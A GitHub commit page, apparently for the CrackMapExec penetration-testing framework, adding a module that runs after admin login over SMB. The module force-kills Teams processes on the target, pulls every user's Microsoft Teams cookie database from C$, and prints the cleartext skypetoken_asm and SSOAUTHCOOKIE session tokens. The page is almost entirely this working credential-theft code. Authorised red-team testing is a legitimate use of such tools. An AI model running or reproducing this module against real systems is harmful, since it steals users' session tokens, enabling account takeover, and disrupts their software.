Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 74bbeee

Browse files
author
mpgn
authored
Merge pull request #647 from R-Secure/master
Added functionality to retrieve ssoauthookie from Microsoft Teams local db
2 parents fcbd406 + 7b9ce02 commit 74bbeee

File tree

1 file changed

+57
-0
lines changed

1 file changed

+57
-0
lines changed

cme/modules/teams_localdb.py

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
4+
import urllib.parse
5+
import sqlite3
6+
from csv import reader
7+
from time import sleep
8+
9+
class CMEModule:
10+
11+
name = 'teams_localdb'
12+
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
13+
supported_protocols = ['smb']
14+
opsec_safe = False
15+
multiple_hosts = False
16+
17+
def options(self, context, module_options):
18+
'''
19+
'''
20+
21+
def on_admin_login(self, context, connection):
22+
context.log.info('Killing all Teams process to open the cookie file')
23+
connection.execute("taskkill /F /T /IM teams.exe")
24+
#sleep(3)
25+
found = 0
26+
paths = connection.spider('C$', folder='Users', regex=['[a-zA-Z0-9]*'], depth=0)
27+
with open("/tmp/teams_cookies2.txt","wb") as f:
28+
for path in paths:
29+
try:
30+
connection.conn.getFile('C$', path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
31+
context.log.highlight("Found Cookie file in path " + path)
32+
found = 1
33+
self.parse_file(context, 'skypetoken_asm')
34+
self.parse_file(context, 'SSOAUTHCOOKIE')
35+
except Exception as e:
36+
if 'STATUS_SHARING_VIOLATION' in str(e):
37+
context.log.debug(str(e))
38+
context.log.highlight("Found Cookie file in path " + path)
39+
context.log.error('Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database')
40+
if found == 0:
41+
context.log.info('No cookie file found in Users folder')
42+
43+
@staticmethod
44+
def parse_file(context, name):
45+
try:
46+
conn = sqlite3.connect('/tmp/teams_cookies2.txt')
47+
c = conn.cursor()
48+
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
49+
row = c.fetchone()
50+
if row == None:
51+
context.log.error("No " + name + " present in Microsoft Teams Cookies database")
52+
else:
53+
context.log.success("Succesfully extracted " + name + ": ")
54+
context.log.success(row[0])
55+
conn.close()
56+
except Exception as e:
57+
context.log.error(str(e))

0 commit comments

Comments
 (0)